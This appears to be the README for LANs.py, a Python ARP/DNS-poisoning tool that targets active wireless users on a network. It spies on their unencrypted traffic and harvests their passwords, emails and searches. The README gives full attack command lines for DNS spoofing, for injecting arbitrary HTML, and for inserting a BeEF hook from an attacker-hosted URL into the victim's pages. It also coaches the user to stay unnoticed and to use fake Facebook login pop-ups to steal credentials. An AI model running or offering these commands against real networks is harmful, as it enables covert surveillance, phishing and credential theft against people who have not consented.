Automatically find the most active WLAN users then spy on one of them and/or inject arbitrary HTML/JS into pages they visit. Technically: multithreaded asynchronous packet parsing/injecting ARP/DNS poisoner.
Individually poisons the ARP tables of the target box, the router and the DNS server if necessary. Does not poison anyone else on the network. Displays all most the interesting bits of their traffic and can inject custom html into pages they visit. Cleans up after itself.
Prereqs: Linux, python-scapy, python-nfqueue (nfqueue-bindings 0.4-3), aircrack-ng, python-twisted, BeEF (optional), and a wireless card capable of promiscuous mode if you choose not to use the -ip option
Tested on Kali 1.0. In the following examples 192.168.0.5 will be the attacking machine and 192.168.0.10 will be the victim.
All options:
python LANs.py [-a] [-h] [-b BEEF] [-c CODE] [-u] [-ip IPADDRESS] [-vmac VICTIMMAC] [-d]
[-v] [-dns DNSSPOOF] [-r IPADDRESS] [-set] [-p] [-na] [-n] [-i INTERFACE]
[-rip ROUTERIP] [-rmac ROUTERMAC] [-pcap PCAP]python LANs.py -u -pActive target identification which ARP spoofs the chosen target and outputs all the interesting non-HTTPS data they send or request. There's no -ip option so this will ARP scan the network, compare it to a live running promiscuous capture, and list all the clients on the network. Attempts to tag the targets with a Windows netbios name and prints how many data packets they are sending/receiving. The ability to capture data packets they send is very dependent on physical proximity and the power of your network card. Ctrl-C when you're ready and pick your target which it will then ARP spoof.
Supports interception and harvesting of data from the following protocols: HTTP, FTP, IMAP, POP3, IRC. Will print the first 135 characters of URLs visited and ignore URLs ending in .jpg, .jpeg, .gif, .css, .ico, .js, .svg, and .woff. Will also print all protocol username/passwords entered, searches made on any site, emails sent/received, and IRC messages sent/received. Screenshot: http://i.imgur.com/kQofTYP.png
Running LANs.py without argument will give you the list of active targets and upon selecting one, it will act as a simple ARP spoofer.
python LANs.py -u -p -d -ip 192.168.0.10-d: open an xterm with driftnet to see all images they view
-ip: target this IP address and skip the active targeting at the beginning
python LANs.py -b http://192.168.0.5:3000/hook.jsInject a BeEF hook URL (http://beefproject.com/, tutorial: http://resources.infosecinstitute.com/beef-part-1/) into pages the victim visits. This just wraps the argument in <script> tags so you can really enter any location of a javascript file. Attempts to insert it after the first tag found in the page's HTML.
python LANs.py -c '<title>Owned.</title>'Inject arbitrary HTML into pages the victim visits. First tries to inject it after the first <head> tag and failing that, injects prior to the first </head> tag. This example will change the page title to 'Owned.'
python LANs.py -pcap libpcapfilename -ip 192.168.0.10To read from a pcap file you must include the target's IP address with the -ip option. It must also be in libpcap form which is the most common anyway. One advantage of reading from a pcap file is that you do not need to be root to execute the script.
python LANs.py -a -r 80.87.128.67python LANs.py -dns eff.orgExample 1: The -a option will spoof every single DNS request the victim makes and when used in conjuction with -r it will redirect them to -r's argument address. The victim will be redirected to stallman.org (80.87.128.67) no matter what they type in the address bar.
Example 2: This will spoof the domain eff.org and subdomains of eff.org. When there is no -r argument present with the -a or -dns arguments the script will default to sending the victim to the attacker's IP address. If the victim tries to go to eff.org they will be redirected to the attacker's IP.
python LANs.py -v -d -p -n -na -set -a -r 80.87.128.67 -c '<title>Owned.</title>' -b http://192.168.0.5:3000/hook.js -ip 192.168.0.10python LANs.py -h-b BEEF_HOOK_URL: copy the BeEF hook URL to inject it into every page the victim visits, eg: -b http://192.168.1.10:3000/hook.js
-c 'HTML CODE': inject arbitrary HTML code into pages the victim visits; include the quotes when selecting HTML to inject
-d: open an xterm with driftnet to see all images they view
-dns DOMAIN: spoof the DNS of DOMAIN. e.g. -dns facebook.com will DNS spoof every DNS request to facebook.com or subdomain.facebook.com
-a: Spoof every DNS response the victim makes, effectively creating a captive portal page; -r option can be used with this
-r IPADDRESS: only to be used with the -dns DOMAIN option; redirect the user to this IPADDRESS when they visit DOMAIN
-u: prints URLs visited; truncates at 150 characters and filters image/css/js/woff/svg urls since they spam the output and are uninteresting
-i INTERFACE: specify interface; default is first interface in ip route, eg: -i wlan0
-ip: target this IP address
-n: performs a quick nmap scan of the target
-na: performs an aggressive nmap scan in the background and outputs to [victim IP address].nmap.txt
-p: print username/passwords for FTP/IMAP/POP/IRC/HTTP, HTTP POSTs made, all searches made, incoming/outgoing emails, and IRC messages sent/received
-pcap PCAP_FILE: parse through all the packets in a pcap file; requires the -ip [target's IP address] argument
-rmac ROUTER_MAC: enter router MAC here if you're having trouble getting the script to automatically fetch it
-rip ROUTER_IP: enter router IP here if you're having trouble getting the script to automatically fetch it
-v: show verbose URLs which do not truncate at 150 characters like -u
Upon receiving a Ctrl-C:
-Turns off IP forwarding
-Flushes iptables firewall
-Individually restores the router and victim's ARP tables
This script uses a python nfqueue-bindings queue wrapped in a Twisted IReadDescriptor to feed packets to callback functions. nfqueue-bindings is used to drop and forward certain packets. Python's scapy library does the work to parse and inject packets.
Injecting code undetected is a dicey game, if a minor thing goes wrong or the server the victim is requesting data from performs things in unique or rare way then the user won't be able to open the page they're trying to view and they'll know something's up. This script is designed to forward packets if anything fails so during usage you may see lots of "[!] Injected packet for www.domain.com" but only see one or two domains on the BEeF panel that the browser is hooked on. This is OK. If they don't get hooked on the first page just wait for them to browse a few other pages. The goal is to be unnoticeable. My favorite BEeF tools are in Commands > Social Engineering. Do things like create an official looking Facebook pop up saying the user's authentication expired and to re-enter their credentials.
NOTE TO UBUNTU USERS: you will need to update/manually install nfqueue-bindings to version 0.4.3 due to the fact the version in Ubuntu's repo is 0.2. Alternatively just edit the Parser.start() function from:
def start(self, payload):
to:
def start(self, i, payload)
